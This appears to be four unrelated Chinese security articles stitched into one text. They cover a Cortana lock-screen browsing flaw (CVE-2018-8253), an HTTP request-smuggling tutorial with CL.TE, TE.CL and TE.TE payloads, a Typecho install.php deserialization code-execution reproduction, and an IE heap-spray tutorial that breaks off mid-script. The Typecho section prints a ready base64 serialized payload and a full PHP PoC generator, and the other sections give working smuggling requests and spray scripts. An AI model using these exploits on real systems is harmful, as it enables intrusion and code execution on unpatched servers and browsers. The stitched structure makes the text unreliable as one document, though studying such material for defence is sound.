本文是翻译文章，文章来源：mcafee.com
原文地址：<https://securingtomorrow.mcafee.com/mcafee-labs/microsoft-cortana-allows-browser-navigation-without-login-cve-2018-8253/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
如果已锁屏的Windows
10设备启用了Cortana语音助手，在具备物理接触条件时，攻击者可以执行两种未经授权的网页浏览操作。在第一种情况下，攻击者可以强迫Microsoft
Edge导航至攻击者控制的URL；在第二种情况下，攻击者可以利用已保存的受害者凭据来使用受限版本的Internet Explorer 11。
在6月份时我们发表过一篇文章（[原文](https://securingtomorrow.mcafee.com/mcafee-labs/want-to-break-into-a-locked-windows-10-device-ask-cortana-cve-2018-8140/)及[译文](https://www.anquanke.com/post/id/147911)），介绍了如何利用Cortana绕过所有Windows
10设备的锁屏界面（目前Cortana仍是默认启用项）。我们在研究攻击者如何充分利用Cortana数字助理的功能时发现了这种绕过方法。本文介绍了两个新的问题，这两个问题之前已经与登录绕过问题同时报告给微软，微软在8月份更新中解决了这两个新的漏洞，另外微软也修改了Bing的查询结果部分缓解了这些问题。
在第一个场景中，攻击者可以借助Cortana在锁屏界面中使用浏览器。这个漏洞不能帮助攻击者解锁设备，但可以让具备物理访问权限的用户迫使Edge导航至攻击者选择的某个页面。这种场景与BadUSB、中间人攻击或者恶意Wi-Fi热点不同，只涉及到简单的语音指令以及使用设备的触摸屏或鼠标来交互。
几个月之前，以色列研究人员使用BadUSB设备演示了类似攻击方法，伪装成网卡将内容注入到可信的HTTP站点中然后使用Cortana来实现跳转。微软从那以后移除了直接跳转到某个域的功能，现在变成使用HTTPS在Bing中搜索目标域。我们的研究成果可以与BadUSB方法配合使用。
我们还研究了用户是否可以强制跳转到攻击者控制的某个页面，事实证明的确可行，但需要多做一些处理。
## 二、技术分析
Cortana非常有用，能够解释词语、查找公司、电影、艺术家或者演员，甚至还能做数学题。然而，Cortana的具体行为及给出的答案会受用户提出问题的方式所影响。比如，如果用户问了一个口语化问题：“你好小娜，McAfee是什么？”她会直接返回Bing搜索结果。如果用户问的是“你好小娜，McAfee”，则会得到更加详细的结果，包括指向可信站点的各种链接。这些链接包括Wikipedia（维基百科）、Twitter、Facebook、LinkedIn以及“官网”（下文会解释为何这里加引号）。
令人惊讶的是，设备处于锁屏状态时Cortana给出的链接竟然能够点击。如果我们使用网络嗅探工具或者中间人代理工具，会发现一旦用户点击这些链接，浏览器就会访问这些地址，无视设备的锁定状态。
这意味着我们可以在设备锁定时强制跳转到这些网站（虽然并不是我们真正需要的网站）。然而我们知道Cortana在回答的时候很挑剔。Bing需要知道这些结果，并且大多数链接指向可信站点。
因此我们能用的只有官方网站。Wikipedia经常带有这个字段，如果我们拉到Wikipedia词条的底部，通常可以找到指向官网的一个链接。
Cortana是否可以把Wikipedia当成可信源？经过多次愉快的对话后，我们可以确认Cortana获取的官方网址的确与Wikipedia上的官方网址相同。显然Wikipedia并没有专门为Cortana提供服务，我们猜测在Bing输出结果中的域名或者逻辑上可能有一些权重值，会影响Cortana最终显示的链接。
我们可以利用这一点来构造一个虚假的Wikipedia词条，添加足够多的内容通过审核，并且添加官方网站链接，观察Cortana的输出结果。Wikipedia审查员在内容审核方面做的非常不错，但我们还需要让Bing感知到这个词条，以便Cortana提供相应的答案及链接。由于这种方法有时效性限制（并且以恶意方式篡改Wikipedia内容并不合理），我们决定采用另一种方法（虽然攻击者有可能使用这种方法）。
我们并没有在Wikipedia中创建词条、让Bing索引该词条以便Cortana能提供官网链接，相反，我们选择了另一种方案。我们可以利用Wikipedia上未经维护或者已处于“死亡”状态的官网链接（“dead
links”以及“permanent dead links”）。幸运的是，Wikiepedia的确提供了一份“死亡”清单。比如，如果我们搜索“Xbox
Linux”就可以看到如下信息：
为了便于搜索，Wikipedia提供了支持正则表达式的搜索引擎，非常强大：
我们可以梳理出如下正则搜索表达式：
insource:/{official (website)?|https?://[^}]+.com/[^}]}}{{dead link/
这个表达式既不能搜到所有的结果，也不是最有效的表达式，但的确可以找到一些候选目标，同时不会让Wikipedia查询超时。
接下来就是编写脚本解析输出结果，获取可用的域名列表，检查这些域名是否处于可用状态。许多域名依然处于已注册状态，但并没有提供任何内容，其他域名依然处于存活状态（虽然已被标上“dead
link”标志）。最终我们找到了一些域名，虽然有些域名比较昂贵，但依然处于可用状态。
对于这些Wikipedia词条Cortana会如何显示？我们尝试不断进行询问，但其实编写文本到语音的转换脚本会更加高效，毕竟Cortana在处理数字语音合成器方面非常优秀。
许多词条并没有提供官网链接，但有些词条包含该字段。比较讨厌的是我们问问题的方式会影响最终结果。不单单是问题的措辞，包括单词的使用或者拼写也会干扰答案。为了让Cortana返回我们所需的结果，我们可能需要将这两种方法结合起来。
比如，在设备锁定时，如果我们问“你好小娜，什么是Miss Aruba？”，我们可以看到如下答案：
官方网站地址为`hxxp://www.missaruba.aw`。简单搜索后我们可知该域名处于可购买状态：
总结一下，现在我们拥有一些Wikipedia条目，Cortana在回答时会显示官方网站链接，并且该域名尚未出售。我们花了11.99美元购买一个稍微便宜点的域名。
虽然这种方法需要编写正则表达式、编写脚本、购买域名，但相比等Bing来索引并发布新的Wikipedia条目来说还是更加快捷、结果也更令人满意。
执行完这一步后，我们可以完成哪些工作？我们可以询问Cortana（通过交互式图标或者语音命令“你好小娜”），在设备锁屏界面发起搜索请求。当Cortana回复时，我们可以点击官网链接，坐等Edge在锁屏时获取网站内容。我们至少可以使用一个简单直白的方法来利用这种未授权访问方式发起恶意攻击。我们可以在新购买的域名上安装最新的漏洞利用工具包，感染启用Cortana功能、处于锁屏状态的任何Windows
10主机。这种攻击可能发生在咖啡店、零售店、银行或针对特定个人。该功能是Windows的默认功能，我们的研究表明许多用户不会在锁屏界面上禁用Cortana。
数字语音助手非常有用，但同样也是一种攻击向量。虽然有人会认为这种攻击向量有点“不切实际”，难以实际应用，但我们还是可以使用DolphinAttack等技术，利用人耳听不见的语音命令来缩短攻击距离。或者如果我们可以物理接触目标设备，只需要使用5美元的3.5毫米耳机线缆就能执行攻击。
我们如何才能防御这种攻击向量？可以在锁屏界面禁用Cortana。除非获得正常用户的许可，否则微软不应该让浏览器导航至不可信的网站，而应要求用户登录系统来访问网站。
## 三、在锁屏界面使用自助式IE浏览器
当我们研究一种技术时，有时候我们会发现最初的调查结果远不如进一步调查后获取的结果重要，对Cortana以及这种攻击面的研究同样如此。如果用户可以在已锁屏的Windows
10设备上使用全功能的浏览器（如Internet Explorer
11）自由浏览网页，也能够访问已缓存的以及自动填充（autocomplete）数据，那会导致什么结果？感谢Cortana，这会比导航至某个URL更加具有破坏力。
这可能与Cortana的[功能](https://www.microsoft.com/en-us/cortana/skills)有关。Cortana提供了与Amazon Alex以及Google
Assistant类似的功能，这一点很正常，但不正常的是这些功能不应该在未配置时就直接在锁屏的界面中提供。
一个典型的例子就是“房地产搜索（Real Estate
Search）”功能。我们在与Cortana交互时发现她偶尔会向用户推荐一些功能，其中就包括房地产搜索功能。
触发该功能很简单，只需要说“你好小娜，我想卖掉我的房子”。此时我们可以看到如下界面：
如果我们点击“Real Estate Search”，我们会看到登录屏幕。此时我们不用登录，观察界面上提供的其他链接。在这个例子中，“Privacy
Policy（隐私政策）”看起来貌似很有趣：
打开该链接，我们看到篇幅冗长的政策说明。如果我们拉到页面底部，就可以看到一些社交媒体图标：
这些图标实际上是网页链接，可以让我们访问Facebook或者Youtube，然后再从那些位置访问其他互联网位置。
总结一下，比如我们离开新买的Windows Surface
Book去吃午饭，让设备保持锁定状态时，锁屏上的Cortana是默认可用选项，此时我们的硬盘还处于加密状态，此时有什么不正常的地方吗？
如果有人能物理接触我们锁定的设备，就可以开始浏览网页。此时如果有人使用我们的设备访问与工作无关的其他网站，或者在公共论坛上发表煽动性评论，而源IP地址来自于我们的设备，此时会出现什么情况？
与设备相关的操作行为的确非常糟糕，但攻击者是否可以使用相同方法，以真实用户的姓名或账户来发表或者访问某些网络资源？接下来我们会分析可以使用哪个浏览器完成这个任务。这并不是Cortana自定义的浏览器，也不是沙盒化的Edge浏览器，而是运行在`AuthHost.exe`上下文中的自定义Internet
Explorer 11受限引擎（后面我们将发表另一篇文章来分析这款受限的“浏览器”，它的特点及安全机制方面的缺陷使其成为红方的拿手利器）。
这里使用的是Internet
Explorer引擎，并非完整的浏览器，但启用了JavaScript以及cookies功能。更糟糕的是，该实例会共享当前用户IE会话上下文中保存的自动填充信息以及凭据。
因此除了利用其他用户已锁定的设备在公共论坛上发表评论之外，攻击者还可以利用用户已缓存的凭据来伪装成目标用户。
如果某个公司支持通过Web服务器来重设Windows凭据，并且无需用户输入之前的密码，此时就会存在潜在的攻击场景。攻击者可以导航至密码重设链接，输入新的密码，退出受限导航环境，使用新设置的密码接触设备锁定状态，所有这些操作都可以在锁屏的设备上完成。
## 四、总结
我们在本文中探讨了几种攻击场景以及安全问题，后面我们会继续分析Cortana以及其他数字助手在攻击向量方面的作用。对用户而言，此时最好的缓解措施就是在锁屏界面关闭Cortana，大家可以阅读[此教程](https://www.howtogeek.com/266144/how-to-disable-cortana-on-the-windows-10-lock-screen/)了解具体关闭方法。 | 社区文章 |
# 起因
刚暑假实习回到学校，发现自己的确没有实战经验，于是想着去挖挖src获取经验。前两天突发奇想--国内好多站用扫描器都会封ip,国外的会不会呢？抱着这样的心态，便打开了[xray](https://github.com/chaitin/xray),在[hackerone](https://hackerone.com/hacktivity)上顺便找了一个src(星巴克)，开始扫描。本菜鸟只能惊叹xray是真的NB,出去吃个饭回来，一看结果：
于是乎进行漏洞测试，自己太菜，请教了学长才绕过网站过滤，然后学长问我有没有学过走私，可以试一下走私。？？？我一头的问号。于是开始了请求走私的一波学习
# 正文
早在2005年时， [Watchfire](https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf)就已经发现这个漏洞。危害程度：重要！不过，HTTP 走私技术要求对处理 HTTP
消息的各种代理相当熟悉，否则无法发动这种攻击。接下来我们一起了走进请求走私世界
## 核心概念
自HTTP / 1.1以来，广泛支持通过单个底层TCP或SSL /
TLS套接字发送多个HTTP请求。该协议只需将HTTP请求背靠背放置，服务器就会解析标头，以确定每个请求的结束位置和下一个开始的位置。在默认情况下,HTTP协议中每个传输层只能承载一个HTTP请求和响应，浏览器收到上一个请求响应后，才开始下一个请求。这种多层体系结构接收来自多个不同用户的HTTP请求，并通过单个TCP
/ TLS连接进行路由：
这就意味着，在很短的时间里，前后端请求信息要求一致是很重要的。否则，攻击者可能发送一条含糊不清的消息，对HTTP请求进行污染，该信息就会被后端解释为两个不同的HTTP请求:
这使攻击者能够在下一个合法用户请求开始时预先添加任意内容。在本文中，被走私的内容将被称为“前缀”，并以橙色突出显示。
## 走私攻击
* CL.TE：前端服务器使用Content-Length头，后端服务器使用Transfer-Encoding头
* TE.CL：前端服务器使用Transfer-Encoding标头，后端服务器使用Content-Length标头。
* TE.TE：前端和后端服务器都支持Transfer-Encoding标头，但是可以通过以某种方式模糊标头来诱导其中一个服务器不处理它。
接下来用几个实例来说明HTTP走私攻击
### <span id = "CLTE"> [CL.TE](https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te)</span>
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
前端服务器处理Content-Length头并确定请求主体长度为13个字节，直到SMUGGLED结束。此请求将转发到后端服务器。
后端服务器处理Transfer-Encoding标头，因此将消息体视为使用分块编码。它处理第一个块，它被称为零长度，因此被视为终止请求。以下字节SMUGGLED未经处理，后端服务器将这些字节视为序列中下一个请求的开始。
_接下来看一个例子_ ：
初始请求：
更改请求：
> * 把GET请求改为POST请求
> * 添加Content-Length头以及POST请求数据
>
更改完后，对数据包连续请求两次：
### <span id = "TECL"> [TE.CL](https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl)</span>
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
前端服务器处理Transfer-Encoding头，因此将消息体视为使用分块编码，处理第一块时，有八个字节，直到SMUGGLED到最后一个字节。开始处理第二个块，第二块是0个字节，视为终止请求。此时把请求转发到后端
_接下来看一个例子_ ：
初始请求：
更改请求：
> * 改为POST请求
> * 把Repeater的Update Content-length关掉
> * 添加Content-length和Transfer-Encoding
> * 根据上面的解释进行传递POST数据
>
>
> S.P: 0后面一定要多加两个\r\n
更改完后，对数据包连续请求两次：
### <span id = "TETE"> [TE.TE](https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header)</span>
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
这些技术中的每一种都涉及到与HTTP规范的细微偏离。实现协议规范的实际代码难以十分精准体现，并且不同的实现通常包含不同变化。要发现TE.TE漏洞，有必要找到Transfer-Encoding标头的一些变体，以便只有一个前端或后端服务器处理它，而另一个服务器忽略它。
_接下来看一个例子_ ：
初始请求：
更改请求包：
> * GET改为POST
> * 把Repeater的Update Content-length关掉
> * 添加多个Transfer-Encoding
>
>
> S.P: 0后面一定要多加两个\r\n
更改完后，对数据包连续请求两次：
# References
<https://portswigger.net/blog/http-desync-attacks-request-smuggling-reborn>
<https://portswigger.net/web-security/request-smuggling> | 社区文章 |
作者：LoRexxar'@知道创宇404实验室 英文版本: <https://paper.seebug.org/1097/>
#### 0x01 简述
[Typecho](http://typecho.org/
"Typecho")是一个简单，轻巧的博客程序。基于PHP，使用多种数据库（Mysql，PostgreSQL，SQLite）储存数据。在GPL
Version 2许可证下发行，是一个[开源的程序](https://github.com/typecho/typecho
"开源的程序")，目前使用SVN来做版本管理。
2017年10月13日，Typecho爆出前台代码执行漏洞，知道创宇404团队研究人员成功复现了该漏洞。
经过分析确认，该漏洞可以无限制执行代码，通过这种方式可以导致getshell。
#### 0x02 复现
打开安装好的Typecho
生成对应的payload
YTo3OntzOjQ6Imhvc3QiO3M6OToibG9jYWxob3N0IjtzOjQ6InVzZXIiO3M6NjoieHh4eHh4IjtzOjc6ImNoYXJzZXQiO3M6NDoidXRmOCI7czo0OiJwb3J0IjtzOjQ6IjMzMDYiO3M6ODoiZGF0YWJhc2UiO3M6NzoidHlwZWNobyI7czo3OiJhZGFwdGVyIjtPOjEyOiJUeXBlY2hvX0ZlZWQiOjM6e3M6MTk6IgBUeXBlY2hvX0ZlZWQAX3R5cGUiO3M6NzoiUlNTIDIuMCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6NTp7czo0OiJsaW5rIjtzOjE6IjEiO3M6NToidGl0bGUiO3M6MToiMiI7czo0OiJkYXRlIjtpOjE1MDc3MjAyOTg7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO2k6LTE7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo3OiJwaHBpbmZvIjt9fXM6ODoiY2F0ZWdvcnkiO2E6MTp7aTowO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO2k6LTE7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo3OiJwaHBpbmZvIjt9fX19fXM6MTA6ImRhdGVGb3JtYXQiO047fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9
设置相应的cookie并发送请求向
http://127.0.0.1/install.php?finish
成功执行phpinfo
#### 0x03 漏洞分析
漏洞的入口点在install.php，进入install.php首先经过两个判断
//判断是否已经安装
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
exit;
}
// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
if (empty($_SERVER['HTTP_REFERER'])) {
exit;
}
$parts = parse_url($_SERVER['HTTP_REFERER']);
if (!empty($parts['port'])) {
$parts['host'] = "{$parts['host']}:{$parts['port']}";
}
if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
exit;
}
}
只要传入GET参数finish，并设置referer为站内url即可。
跟入代码，找到漏洞点入口点，install.php 232行到237行
看起来比较清楚，一个比较明显的反序列化漏洞
问题在于如何利用，反序列化能够利用的点必须要有相应的魔术方法配合。其中比较关键的只有几个。
__destruct()
__wakeup()
__toString()
其中`__destruct()`是在对象被销毁的时候自动调用，`__Wakeup`在反序列化的时候自动调用，`__toString()`是在调用对象的时候自动调用。
这里如果构造的反序列化是一个数组，其中adapter设置为某个类，就可以触发相应类的`__toString`方法
寻找所有的toString方法，我暂时只找到一个可以利用的的类方法。
/var/Typecho/Feed.php 文件223行
顺着分析tostring函数
290行 调用了`$item['author']->screenName`，这是一个当前类的私有变量
358行 同样调用了同样的变量，这里应该也是可以利用的
这里要提到一个特殊的魔术方法`__get`，`__get`会在读取不可访问的属性的值的时候调用，我们可以通过设置item来调用某个位置的`__get`魔术方法，让我们接着寻找。
/var/Typecho/Request.php 第269行应该是唯一一个可利用的`__get`方法.
跟入get函数
最后进入159行 applyFilter函数
我们找到了`call_user_func`函数，回溯整个利用链
我们可以通过设置`item['author']`来控制`Typecho_Request`类中的私有变量，这样类中的`_filter`和`_params['screenName']`都可控，`call_user_func`函数变量可控，任意代码执行。
但是当我们按照上面的所有流程构造poc之后，发请求到服务器，却会返回500.
回顾一下代码
在install.php的开始，调用了`ob_start()`
在php.net上关于`ob_start`的解释是这样的。
因为我们上面对象注入的代码触发了原本的exception，导致`ob_end_clean()`执行，原本的输出会在缓冲区被清理。
我们必须想一个办法强制退出，使得代码不会执行到exception，这样原本的缓冲区数据就会被输出出来。
这里有两个办法。
1、因为`call_user_func`函数处是一个循环，我们可以通过设置数组来控制第二次执行的函数，然后找一处exit跳出，缓冲区中的数据就会被输出出来。
2、第二个办法就是在命令执行之后，想办法造成一个报错，语句报错就会强制停止，这样缓冲区中的数据仍然会被输出出来。
解决了这个问题，整个利用ROP链就成立了
#### 0x04 poc
<?php
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct()
{
// $this->_params['screenName'] = 'whoami';
$this->_params['screenName'] = -1;
$this->_filter[0] = 'phpinfo';
}
}
class Typecho_Feed
{
const RSS2 = 'RSS 2.0';
/** 定义ATOM 1.0类型 */
const ATOM1 = 'ATOM 1.0';
/** 定义RSS时间格式 */
const DATE_RFC822 = 'r';
/** 定义ATOM时间格式 */
const DATE_W3CDTF = 'c';
/** 定义行结束符 */
const EOL = "\n";
private $_type;
private $_items = array();
public $dateFormat;
public function __construct()
{
$this->_type = self::RSS2;
$item['link'] = '1';
$item['title'] = '2';
$item['date'] = 1507720298;
$item['author'] = new Typecho_Request();
$item['category'] = array(new Typecho_Request());
$this->_items[0] = $item;
}
}
$x = new Typecho_Feed();
$a = array(
'host' => 'localhost',
'user' => 'xxxxxx',
'charset' => 'utf8',
'port' => '3306',
'database' => 'typecho',
'adapter' => $x,
'prefix' => 'typecho_'
);
echo urlencode(base64_encode(serialize($a)));
?>
#### 0x05 Reference
* [1] [Typecho官网](http://typecho.org/ "Typecho官网")
* [2] [Typecho github链接](https://github.com/typecho/typecho "Typecho github链接")
* [3] [Typecho 官方补丁](https://github.com/typecho/typecho/commit/e277141c974cd740702c5ce73f7e9f382c18d84e "Typecho 官方补丁")
* [4] [Typecho install.php 反序列化导致任意代码执行](http://p0sec.net/index.php/archives/114/ "Typecho install.php 反序列化导致任意代码执行")
#### 0x06 后记
我们在10月25日收到p0的漏洞分析投稿<http://p0sec.net/index.php/archives/114/>，与我们撞洞了，这里一并表示感谢。
* * * | 社区文章 |
# 【技术分享】32位下的堆喷射技术
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
作者：[seviezhou](http://bobao.360.cn/member/contribute?uid=2967223576)
预估稿费：500RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**什么是堆喷射**
****为了在浏览器攻击中获得可预测的shellcode地址，堆喷射( **Heap Spray** )技术被发明出来，Heap
Spray技术在Exploit中的利用开始于2001年，针对浏览器的堆喷射一般通过JavaScript执行，通过JavaScript申请大段的堆内存，再通过漏洞控制EIP，跳到堆中可预测的地址处执行shellcode，Heap
Spray技术不仅仅可以用于浏览器，对于Adobe PDF
Reader等支持JavaScript的程序也可以使用堆喷射技术把shellcode放在可预测的地址，还有用图片进行Heap
Spray的技术，堆喷射技术使得针对浏览器等程序的攻击变得相对简单化和稳定，而且可以写出更加通用的Exploit，虽然 **ASLR** 和 **DEP**
的出现使得堆喷射的攻击更加困难，但精准的堆喷加上ROP也能够在这种情况下成功Exploit，下面会分别介绍对于不同版本IE浏览器的堆喷的不同之处。
**
**
**用windbg调试浏览器**
为了使用有关堆的调试命令，需要在windbg中配置符号表，只要在Symbol file path中输入:
SRV*c:windbgsymbols*http://msdl.microsoft.com/download/symbols
然后关闭windbg并点击保存工作空间。
然后讲一下调试中使用的主要命令:
!heap -stat显示被调试进程的所有堆使用情况:
0:007> !heap -stat
_HEAP 00140000
Segments 00000002
Reserved bytes 00200000
Committed bytes 0009d000
VirtAllocBlocks 000001f5
VirtAlloc bytes 80800050
...
...
!heap -a 00140000关于00140000处堆的详细情况，输出会有些多:
0:007> !heap -a 00140000
Index Address Name Debugging options enabled
1: 00140000
Segment at 00140000 to 00240000 (0007e000 bytes committed)
Flags: 00000002
ForceFlags: 00000000
Granularity: 8 bytes
Segment Reserve: 00100000
Segment Commit: 00002000
DeCommit Block Thres: 00000200
DeCommit Total Thres: 00002000
Total Free Size: 00000c0f
Max. Allocation Size: 7ffdefff
Lock Variable at: 00140608
Next TagIndex: 0000
Maximum TagIndex: 0000
Tag Entries: 00000000
PsuedoTag Entries: 00000000
Virtual Alloc List: 00140050
UCR FreeList: 00140598
FreeList Usage: 00040078 00000040 00000000 00000000
...
...
!heap -stat -h 00140000可以查看00140000堆的分配统计数据:
0:007> !heap -stat -h 00140000
heap @ 00140000
group-by: TOTSIZE max-display: 20
size #blocks total ( %) (percent of total busy bytes)
7ffe0 1f5 - fa7c160 (99.78)
8000 1 - 8000 (0.01)
7fe0 1 - 7fe0 (0.01)
7fb0 1 - 7fb0 (0.01)
619c 1 - 619c (0.01)
614 e - 5518 (0.01)
52ac 1 - 52ac (0.01)
4fe4 1 - 4fe4 (0.01)
...
...
!heap -flt s 7ffe0查看大小为7ffe0的内存，在堆喷的时候可以方便的找到payload所在的地址:
0:007> !heap -flt s 7ffe0
_HEAP @ 140000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
02240018 fffc 0000 [0b] 02240020 7ffe0 - (busy VirtualAlloc)
01fe0018 fffc fffc [0b] 01fe0020 7ffe0 - (busy VirtualAlloc)
022c0018 fffc fffc [0b] 022c0020 7ffe0 - (busy VirtualAlloc)
02340018 fffc fffc [0b] 02340020 7ffe0 - (busy VirtualAlloc)
...
...
这里HEAP_ENTRY是堆的头部，UserPtr是BSTR对象头部:
0:007> dd 02240018
02240018 00000020 00000b00 0007ffd4 90909090
02240028 90909090 90909090 90909090 90909090
02240038 90909090 90909090 90909090 90909090
!heap -p -a 0x0c0c0c0c查看0x0c0c0c0c处的数据属于哪个堆:
0:007> !heap -p -a 0x0c0c0c0c
address 0c0c0c0c found in
_HEAP @ 140000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0c0c0018 fffc 0000 [0b] 0c0c0020 7ffe0 - (busy VirtualAlloc)
还有在内存空间搜索字符串可以用s命令，-a表示搜索ascii，-u表示搜索unicode:
0:007> s -a 0x00000000 L?7fffffff "AAAA"
0018ef03 41 41 41 41 41 41 41 64-64 64 64 64 64 18 89 89 AAAAAAAdddddd...
0018ef04 41 41 41 41 41 41 64 64-64 64 64 64 18 89 89 89 AAAAAAdddddd....
...
...
**堆喷射内存布局**
在浏览器中分配的字符串都会被转换成unicode，所以为了准确传递字符，我们需要使用JavaScript中的 **unescape**
函数，这个函数用于解码字符串，所以用已经是unicode的字符串，在内存中就不会再次被转换成unicode了，用%u加在每两字节之前，注意两字节要反序排列。分配字符串后会变成BSTR字符串对象，含有四字节的头信息和两个NULL字节的结尾。
一般的堆喷射内存布局就是大量的nop指令(也称为滑板指令)加上shellcode，shellcode放在每个块的尾部，只要保证喷射堆块足够大，那么预测的地址处就会是nop指令，然后执行到shellcode。
在堆喷中最著名的地址要数 **0x0c0c0c0c**
了，解释一下为什么使用这个地址。如果在Exploit中通过覆盖堆栈中的虚表的话，使用这个地址就会十分合适，当虚函数被调用时，先取得栈中的对象指针，通过对象指针取得虚表指针，然后在虚表内适当偏移处取得函数指针执行，示意图:
Stack
+---------+ Object
| obj_ptr | ----> +--------+ Vtable
+---------+ |p_Vtable| ---> +-------+
| | +--------+ |p_func1| ----> func1
+---------+ | | +-------+
| | +--------+
+---------+
假如将obj_ptr覆盖为0x0c0c0c0c，将0x0c0c0c0c地址内的内容填为x0cx0cx0cx0c，那么顺着这条调用链，最后还是会调用0x0c0c0c0c地址处的指令，而且:
004010A0 0C 0C OR AL,0C
004010A2 0C 0C OR AL,0C
可见0c0c指令作用和nop一样，也可以作为滑板指令。
接下来计算一下到底需要多大的内存块才能喷射到0x0c0c0c0c:
0x0c0c0c0c = 202116108
202116108字节(b)=192.7529411兆字节(mb)
所以只要堆喷射大于200MB就肯定能够喷射到目标地，但由于分配的起始地址并不是从零开始，所以实际中并不需要那么大的内存，还有一个要注意的点就是unescape返回的对象在用.length计算长度时返回的是实际长度的一般，也就是说:
> s = unescape("%u4142%u4344%u4546")
> s.length
3
一份堆喷射的脚本可能看起来像这样:
<html>
<script>
tag = unescape('%u4141%u4141');
chunk = '';
chunksize = 0x1000;
nr_of_chunks = 200;
for (counter = 0; counter < chunksize; counter++) {
chunk += unescape('%u9090%u9090');
}
chunk = chunk.substring(0, chunksize - tag.length);
testarray = new Array();
for (counter = 0; counter < nr_of_chunks; counter++) {
testarray[counter] = tag + chunk;
}
</script>
</html>
通过数组分配大量内存。
**
**
**XP下IE6和IE7的堆喷射**
为了运行多个版本的IE，可以使用IE Collection安装多个版本的IE，这里在XP SP3上安装了IE6和IE7用于测试。
IE6和IE7上稳定的堆喷脚本如下:
<html>
<script>
var shellcode = unescape('%u4141%u4141');
var bigblock = unescape('%u9090%u9090');
var headsize = 20;
var slackspace = headsize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
var fillblock = bigblock.substring(0, slackspace);
var block = bigblock.substring(0, bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
var memory = new Array();
for (i = 0; i < 500; i++) {memory[i] = block + shellcode;}
</script>
</html>
分配了500块大小为0x40000 * 2的内存块(.length返回大小为实际大小一半)，结果:
0:009> dd 0c0c0c0c
0c0c0c0c 90909090 90909090 90909090 90909090
0c0c0c1c 90909090 90909090 90909090 90909090
...
可以尝试多次，发现都是成功的，查看堆的状态:
0:009> !heap -stat -h 00140000
heap @ 00140000
group-by: TOTSIZE max-display: 20
size #blocks total ( %) (percent of total busy bytes)
7ffe0 1f5 - fa7c160 (99.78)
8000 1 - 8000 (0.01)
7fe0 1 - 7fe0 (0.01)
...
基本上块的大小都是7ffe0，也就是我们分配的0x40000 * 2。
**
**
**Win7下的IE8的堆喷射**
对于IE8浏览器，之前的脚本不再适用，而且IE8一般都配合了DEP，所以不仅需要堆喷射，还需要精准的堆喷射，使得预测的地址正好在ROP链的起始，否则绕不过DEP的防护。
对于JavaScript申请字符串并不总是从系统堆中申请，通常是由OLEAUT32.DLL中的堆管理器来进行管理，其中维护了一张缓存表，每当一块内存被释放，堆管理器就会把指向那块内存的指针放到缓存表中，当下次再次分配内存时，管理器会优先把缓存表中合适的内存块返回给程序。
缓存表有四个bin，每个bin可以容纳6块已经被释放的内存块，每个bin可容纳块的大小不同，大于32767 bytes的块直接被释放，不会缓存:
CacheEntry bin_1_32 [6]; // blocks from 1 to 32 bytes
CacheEntry bin_33_64 [6]; // blocks from 33 to 64 bytes
CacheEntry bin_65_256 [6]; // blocks from 65 to 265 bytes
CacheEntry bin_257_32768[6]; // blocks from 257 to 32768 bytes
我们需要保证每次分配内存都由系统堆处理，而不是缓存，通过缓存申请的堆空间可能在堆里的任何地方，所以预测的地址会变得不可靠，由于每个bin只能容纳6块，Alexander
Sotirov提出了plunger技术，在堆喷前强制刷新所有缓存块，具体就是为每个bin申请其可容纳的最大堆块大小的内存，保证了所有缓存都是空的，接下来的分配都会由系统堆处理。
为了实现精准的堆喷，在IE8下我使用了[heaplib.js](http://pwdme.cc/heaplib.js)这个JavaScript的堆管理库，Alexander
Sotirov在[Heap Feng Shui in
JavaScript](http://pwdme.cc/Heap_Feng_Shui_in_JavaScript.pdf)这篇文章中描述并实现了heaplib.js库。
heaplib中对于plunger的实现:
heapLib.ie.prototype.flushOleaut32 = function() {
this.debug("Flushing the OLEAUT32 cache");
// Free the maximum size blocks and push out all smaller blocks
this.freeOleaut32("oleaut32");
// Allocate the maximum sized blocks again, emptying the cache
for (var i = 0; i < 6; i++) {
this.allocOleaut32(32, "oleaut32");
this.allocOleaut32(64, "oleaut32");
this.allocOleaut32(256, "oleaut32");
this.allocOleaut32(32768, "oleaut32");
}
}
IE8下的脚本，需要包含heaplib.js，还有注意在IE8中不能把html文件直接拖到IE中，最好搭建本地服务器访问，可以把heaplib.js直接粘到下面文件的前面:
<html>
<script language='javascript'>
var heap_obj = new heapLib.ie(0x10000);
